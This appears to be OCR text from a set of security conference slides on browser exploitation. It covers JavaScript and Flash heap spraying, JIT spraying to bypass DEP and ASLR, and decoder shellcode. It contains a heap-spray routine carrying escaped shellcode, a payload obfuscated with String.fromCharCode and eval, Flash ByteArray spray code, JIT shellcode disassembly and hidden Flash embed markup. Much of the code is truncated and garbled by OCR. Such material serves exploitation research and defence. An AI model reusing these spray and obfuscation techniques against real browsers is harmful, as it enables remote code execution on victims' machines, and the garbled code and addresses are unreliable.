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Why Spraying

Not control precisely
Not control
Universal



NOP

NOP
0) 0cOc OR AL,0C
0) OR EAX,0DODODOD
0)4 Oala OR CL,BYTE PTR DS:[EDX]

Ox  0bOb OR ECX,DWORD PTR
DS:[EBX]

0) 0cOb OR AL,0B
0) 1414 ADC AL,14



Not control precisely

&

esi=0x41414141
mov eax,esl
movV ecx,[eax]
call [ecx+0x8]

Offset 0x10 MEM 0x01140000
AAAAAAAAAAAAAAAA

Offset 0x20 MEM 0x01140010
BBEBEBEBBBBBBBBBBBBB

Oa

Ob

Oc

Od



Not control

esi=0x0c374512 not control
MoV eax,esl

mov ecx,[eax]//no access
call [ecx+0x8]

{;l 0x0c374512

)




Universal

XP

Stack overflow
0x0013ffac//cookie
0Ox0013ffbO//ret
0x0013ffcO
0x0013ffe0//seh
0x0013fffO

0x0014000//no
access

2000

Stack overflow
0x0013ffa0
0x0013ffbc//cookie
0x0013ffcO//ret
0x0013ffe0
0x0013fff0//seh

0x0014000//no
access



Classic javascript heap spraying

var heapSprayToAddress = [Ivar payLoadCode =
unescape("%UuE8SFC%u0044........ ");

var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide =
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x10C000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{memoryli] = spraySlide + payLoadCode;}
function getSpraySlide(spraySlide, spraySlideSize)
{while (spraySlide.length*2<spraySlideSize)
{spraySlide += spraySlide;}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;



JavaScript Encode

<htmI><body><button id="helloworld" onclick="blkjbdkjb();"
STYLE="DISPLAY:NONE"></button></script><script
language="JavaScript">var strtmp =
String.fromCharCode(102,117,110,99,116,105,111,110,32,101,1
01,106,101,101,102,101,40,41,123,118,97,114,32,115,61,117,1
10,101,115,99,97,112,101,40,34,37,117,48,101,101,98,37,117,
52,98,53,98,37,117,99,57,51,51,37,117,102,54,98,49,37,117,51
,52,56,48,37,117,101,101,48,98,37,117,102,97,101,50,37,117,4
8,53,101,98,37,117,101,100,101,56,37,117,102,102,102,102,37
,117,48,55,102,102,37,117,101,101,52,97,37,117,101,101,101,
101,37,117,56,97,98,49,37,117,100,101,52,102,37,117,101,101
,101,101,37,117,54,53,101,101,37,117,101,50,97,101,37,117,5
7,101,54,53,37,117,52,51,102,50,37,117,56,54,54,53,37,117,54
,53,101,54,37,117,56,52,49,57,37,117,98,55,101,97,37,117,97,
97,48,54,37,117,101,101,101,101,37,117,48,99,101,101,37,117
,56,54,49,55,37,117,56,48,56,49,37,.................. );var ee =
eval;ee(strtmp);
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Flash Spraying

public function MainTimeline()

{addFrameScript(0, framel);return;}// end function

function framel(){ shellcode = new ByteArray();
shellcode.writeByte(144);...............

while (b.length < -(shellcode.length+64))//2097152)//1048576)
{ b=b+a;}

byteArr = new ByteArray();
gy = new ByteArray();

byteArr.writeBytes(shellcode, 0,shellcode.length);

return;
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Why Not To Do This?

var c=0;
var gyl:Array = new Array();
while (c < 128)//2097152)//1048576)

{
gyl[c] = new ByteArray();

gyl[c].writeBytes(byteArr,0,byteArr.length);
C=c+1,

}



Flash Spraying can no
DEP
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JIT(BlackHat DC 2010)

var y=(0x112233440x44332211/0x44332211...):
0x909090:35 44332211 XOR EAX, 11223344
0x909095:35 44332211 XOR EAX, 11223344
0x90909A:35 44332211 XOR EAX, 11223344
0x909091:44  INC ESP

0x909092:3322 XOR ESP,[EDX]
0x909094:1135 44332211 ADC [11223344],ESI
0x90909A:35 44332211 XOR EAX, 11223344



var
ret=(0x3C909090"0x3C909090”0x3C909090"0x3C909090* ...);

O0x1A1A0100: 35 3C XOR EAX, 3C909090
0x1A1A0105: 359090903C XOR EAX, 3C909090
Ox1A1A010A: 359090903C XOR EAX, 3C909090
O0x1A1A010F: 359090903C XOR EAX, 3C909090

0x1A1A0104: 3C35 CMP AL, 35
0x1A1A0106: 90 NOP
0x1A1A0107: 90 NOP
0x1A1A0108: 90 NOP
O0x1A1A0109: 3C35 CMP, AL 35



m Dump - OEDBEDO00..0EDB3FFF




JIT Shellcode

mov edi, 0x7946¢c61b

mov al,0x1b
push al

CMP AL,0x35
inc esp

iInc esp

Inc esp

CMP AL,0x35
Inc esp

Inc esp

NOP

CMP AL,0x35
mov al,0xc6
push al

CMP AL,0x35
Inc esp

Inc esp

Inc esp

CMP AL,0x35
Inc esp

Inc esp

NOP

CMP AL,0x35
mov al,0x46
push al

CMP AL,0x35
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0347006A
0347006C
034/7006D
034/7006F
03470070
03470071
03470072
03470074
03470076
03470077
03470079
0347007/B
0347007C
0347007E

DODO0 FNOP

54 PUSH ESP Ox1A1A0110: 803F6E
3C35 CMPAL,35 CMP [EDl], n'

58 POP EAX

. - Ox1A1A0113: 6A35

90 NOP PUSH 35

3C35 CMPAL,35 Ox1A1A0115: 75EF |nz
6AF4 PUSH -0C short

59 POP ECX

3C35 CMPAL,35
01C8 ADD EAX,ECX

90 NOP

3C 35 CMPAL,35

D930 FSTENV DS:[EAX]
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Decoder flow

Ox1A1A0104: 3C35 CMP AL, 35
Ox1A1A0106:

Ox1A1A0107:

Ox1A1A0108:

Ox1A1A0109: 3C35 CMP, AL 35
O0x1A1A010A: Magic
Ox1A1A010B: Magic
O0x1A1A010C: Magic
Ox1A1A010D: 3C35 CMP, AL 35
Ox1A1AO010E: Encode Shellcode
Ox1A1AO010E: Encode Shellcode
Ox1A1A010E: Encode Shellcode
Ox1A1A010D: 3C35 CMP, AL 35



ALSR(Address space layout
randomization)

&¥ Process Explorer - Sysinternals: www.sysinternals.com [Nani-P8600\Nani]
File Options View Process Find DLL Users Help
CIREEEEN R =R N
Process PD <CPU Description
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ﬁ VInWare-tay exe
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Windows Porabls Devies Shel Servics Obipet Microsoft Corporation. 5:006002.13112 OREBATO000 OREBATOO00  (Visrified) Microsoft

At B SEL Microsoft Corporation. 600600218112 OuBEB0000 MEEOBO000  (Verified) Microsoft [ Version [integrity Level
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Windows Media Player BREIE = Microsoft Corporstion.  11.0060017000 O 7FEF3BOO000 ORTFEFYBCO00  (Verified Microsoft [Jimage Path [ Virualized
Win32 LDAP APIDLL Microsoft Corporstion. 600600218005 Ow7FEFF750000 OuTFEFE750000  (Verified) Microsoft _
Windows 8848 LAN 802,11 A B3 DIL Microsoft Corporstion.  6.006000.16386  Ox7FEFBS70000 OxTFEFBS0000  (Verifind) Microsoft Image Type (64 vs 32-bif) ASLR Enabled
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CPU Usage: 19.48% Commit Charge: 70.90% Processes: 186 Physical Usage: 74.22%




JIT Spraying(1)

function pagelLoadEX()

{

function pagelLoad()

{
}

function Loadzz1()

{

pagelLoad();
}
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Bypass ASLR

m Dump - OC&CO000..0C6C1FFF
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JIT Spraying(2)

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#v
ersion=6,0,29,0" width="0" height="0" id="MyFlash">

<param name="movie" value="bb.swf">
<param name="quality" value="high">
<param name="fullscreen" value="true"><param name="scale" value="exactfit">

<embed src="bb.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-
shockwave-flash" width="800" height="600">

</embed>
</object>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#v
ersion=6,0,29,0" width="0" height="0" id="MyFlash">

<param nhame="movie" value="bb2.swf">
<param name="quality" value="high">
<param name="fullscreen" value="true"><param name="scale" value="exactfit">

<embed src="bb2.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-
shockwave-flash" width="800" height="600">

</embed>
</obiect>
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WInXP & Vista
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Vista
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PDF & Flash

Acrobat 9.2 default Enable DEP
Acrobat default support Flash

Adobe: Turn off JavaScript in PDF
Reader



WInXP PDF & One Big Flash

Dwn e = i : : 3 . | Initial
Update_1

EBIE
EIE
EBIE
EBIE
EIE
EBIE

s |'I:||T: 11} |'I:|




WINnXP Vista Win7
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File: IC:'I,D::u:uments and Settings|User| B aa, swl

Launch Settings |Flash | Resources |

— Ackivakion Setkings

=y ol =R = E THe page containing the conken

Disable \When: I'Disable Content' is selected Fran

Blayback Style: IF‘Iay conkent an page

width: [0

— Appearance

Border Width: IN::: border

[T Transparent background

—Poster Image

T Keep current: poster
¥ Rettieve poster From media

" Create poster From File

Baoster File: I«::Nn:n file selected:=

Frit

Launch Setkings I Flash ~ Resources |

add Directory, .. | Remove |

Mame | Fath |
jit_s0.smF C\Documents and Setking. ..
~ Propetties
Mame: [jit_s0.swf
Help Ik Cancel
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http://rootkit.tw/blog/?p=173
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